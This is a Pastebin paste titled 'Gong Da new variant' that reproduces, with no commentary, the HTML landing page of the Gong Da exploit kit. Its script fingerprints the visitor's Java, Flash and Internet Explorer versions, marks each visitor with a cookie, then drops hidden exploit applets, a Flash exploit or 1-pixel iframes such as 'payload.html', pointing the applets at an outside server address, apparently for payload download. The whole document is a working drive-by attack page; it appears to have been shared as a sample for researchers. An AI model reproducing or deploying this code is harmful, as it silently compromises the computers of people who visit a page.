Advertisement
eromang

Gong Da new variant

Apr 14th, 2013
938
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. <html>
  3. <head>
  4. <script type="text/javascript" src="./deployJava.js"></script>
  5. <script type="text/javascript" src="./swfobject.js"></script>
  6. </head>
  7. <body></body>
  8.  
  9. <script type="text/javascript">
  10.     function Get() {
  11.         var Then = new Date() ;
  12.         Then.setTime(Then.getTime() + 7*24*60*60*1000);
  13.         var cookieString = new String(document.cookie);
  14.         var cookieHeader = "Cookie1=rbssf22s" ;
  15.         var beginPosition = cookieString.indexOf(cookieHeader);
  16.  
  17.             if (beginPosition != -1){
  18.                 return 1;
  19.             } else {
  20.                 document.cookie = "Cookie1=rbssf22s;expires="+ Then.toGMTString();
  21.                 return 0;
  22.             }
  23.     }
  24.         var AppletObject = document.createElement('applet');
  25.         var BodyElement=document.createElement('body');
  26.         var JavaVersion=deployJava.getJREs()+"";
  27.         var VersionParser=JavaVersion.split(",");
  28.  
  29.             document.body.appendChild(BodyElement);
  30.             JavaVersion=parseInt(VersionParser[0].replace(/\.|\_/g,''));
  31.  
  32.             for(i=1;i<VersionParser.length;i++)
  33.             {
  34.                 tmp=parseInt(VersionParser[i].replace(/\.|\_/g,''));
  35.  
  36.                 if (JavaVersion<tmp)
  37.                     JavaVersion=tmp;
  38.             }
  39.  
  40.             AppletObject.width="11";
  41.             AppletObject.height="11";
  42.  
  43.      if(!Get()) {
  44.         if ((JavaVersion<=17015 && JavaVersion>=17000) || (JavaVersion<=16032 && JavaVersion>=16000) || (JavaVersion<=15033 && JavaVersion>=15000)) {
  45.             if ((JavaVersion<=16027 && JavaVersion>=16000) || (JavaVersion>=15000 && JavaVersion<=15031)) {
  46.                 AppletObject.archive="./archive/HcIa2.jar";
  47.                 AppletObject.code="gogonaggogonagExp.class";
  48.                 AppletObject.setAttribute("dota","http://1.234.91.45/q.q?q=1");
  49.                 document.body.appendChild(AppletObject);
  50.  
  51.             } else if ((JavaVersion<=17002 && JavaVersion>=17000) || (JavaVersion<=16030 && JavaVersion>=16000) || (JavaVersion<=15033 && JavaVersion>=15000)) {
  52.                 AppletObject.archive="./archive/bzExj6.jar";
  53.                 AppletObject.code="GondadExx.Ohno.class";
  54.                 AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=2");
  55.                 AppletObject.setAttribute("bn","woyouyizhixiaomaolv");
  56.                 AppletObject.setAttribute("si","conglaiyebuqi");
  57.                 AppletObject.setAttribute("bs","748");
  58.                 document.body.appendChild(AppletObject);
  59.  
  60.             } else if ((JavaVersion<=17003 && JavaVersion>=17000) || (JavaVersion<=16032 && JavaVersion>=16000) || (JavaVersion<=15032 && JavaVersion>=15000)) {
  61.                 AppletObject.archive="./archive/BnkLbvY3.jar";
  62.                 AppletObject.code="gond1723.Gondattack.class";
  63.                 AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=3");
  64.                 AppletObject.setAttribute("bn","woyouyizhixiaomaolv");
  65.                 AppletObject.setAttribute("si","conglaiyebuqi");
  66.                 AppletObject.setAttribute("bs","748");
  67.                 document.body.appendChild(AppletObject);
  68.  
  69.             } else if (JavaVersion<=17006 && JavaVersion>=17000) {
  70.                 AppletObject.archive="./archive/iCNpns4.jar";
  71.                 AppletObject.code="cve2012xxxx.Gondvv.class";
  72.                 AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=4");
  73.                 AppletObject.setAttribute("bn","woyouyizhixiaomaolv");
  74.                 AppletObject.setAttribute("si","conglaiyebuqi");
  75.                 AppletObject.setAttribute("bs","748");
  76.                 document.body.appendChild(AppletObject);
  77.  
  78.             } else if (JavaVersion<=17007 && JavaVersion>=17000) {
  79.                 AppletObject.archive="./archive/JdtDFRW1.jar";
  80.                 AppletObject.code="gond20125076.Gondqq.class";
  81.                 AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=5");
  82.                 AppletObject.setAttribute("bn","woyouyizhixiaomaolv");
  83.                 AppletObject.setAttribute("si","conglaiyebuqi");
  84.                 AppletObject.setAttribute("bs","748");
  85.                 document.body.appendChild(AppletObject);
  86.  
  87.             } else if (JavaVersion<=17010 && JavaVersion>=17000) {
  88.                 AppletObject.archive="./archive/TolxrJG6.jar";
  89.                 AppletObject.code="xml20130422.XML20130422.class";
  90.                 AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=6");
  91.                 AppletObject.setAttribute("bn","woyouyizhixiaomaolv");
  92.                 AppletObject.setAttribute("si","conglaiyebuqi");
  93.                 AppletObject.setAttribute("bs","748");
  94.                 document.body.appendChild(AppletObject);
  95.  
  96.             } else if (JavaVersion<=17015 && JavaVersion>=17000) {
  97.                 AppletObject.archive="./archive/FQxzUjYP.jar";
  98.                 AppletObject.code="yQCi.class";
  99.                 document.body.appendChild(AppletObject);
  100.             }
  101.  
  102.         } else {
  103.             var CgOoSUU3=deconcept.SWFObjectUtil.getPlayerVersion();
  104.  
  105.             if((CgOoSUU3['major']==11 && CgOoSUU3['minor']==4 && CgOoSUU3['rev']==402 && (CgOoSUU3['buil']>= 265 && CgOoSUU3['buil']<= 287)) || (CgOoSUU3['major']==11 && CgOoSUU3['minor']==5 && CgOoSUU3['rev']==502 && (CgOoSUU3['buil']>= 110 && CgOoSUU3['buil']<= 146))) {
  106.                 document.writeln("<img src='./archive/GwDFO7.swf'><\/img>");
  107.                 setTimeout("document.writeln(\"<embed width=100 height=0 src='./archive/GwDFO7.swf'><\\/embed>\");",2000);
  108.  
  109.             } else {
  110.                 var IeVersion = window.navigator.userAgent.toLowerCase();
  111.                 if ((IeVersion.indexOf('msie 6') > -1)||(IeVersion.indexOf('msie 7') > -1)) {
  112.                     document.writeln("<iframe src='xmlcoreOld.html' witdh='1' height='1'><\/iframe>");
  113.  
  114.                 } else if((IeVersion.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('ko') > -1)){
  115.                     document.writeln("<iframe src='xml.html' witdh='1' height='1'><\/iframe>");
  116. //                  document.writeln("<iframe src='xmlcoreNew.html' witdh='1' height='1'><\/iframe>");
  117.  
  118.                 }
  119.                     setTimeout("document.writeln(\"<iframe src='4792.html' witdh='1' height='1'><\\/iframe>\");",2000);
  120.                     setTimeout("document.writeln(\"<iframe src='payload.html' witdh='1' height='1'><\\/iframe>\");",3000);
  121.             }
  122.         }
  123.     } else {
  124.         location.href="about:blank";
  125.     }
  126.  
  127. </script>
  128. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement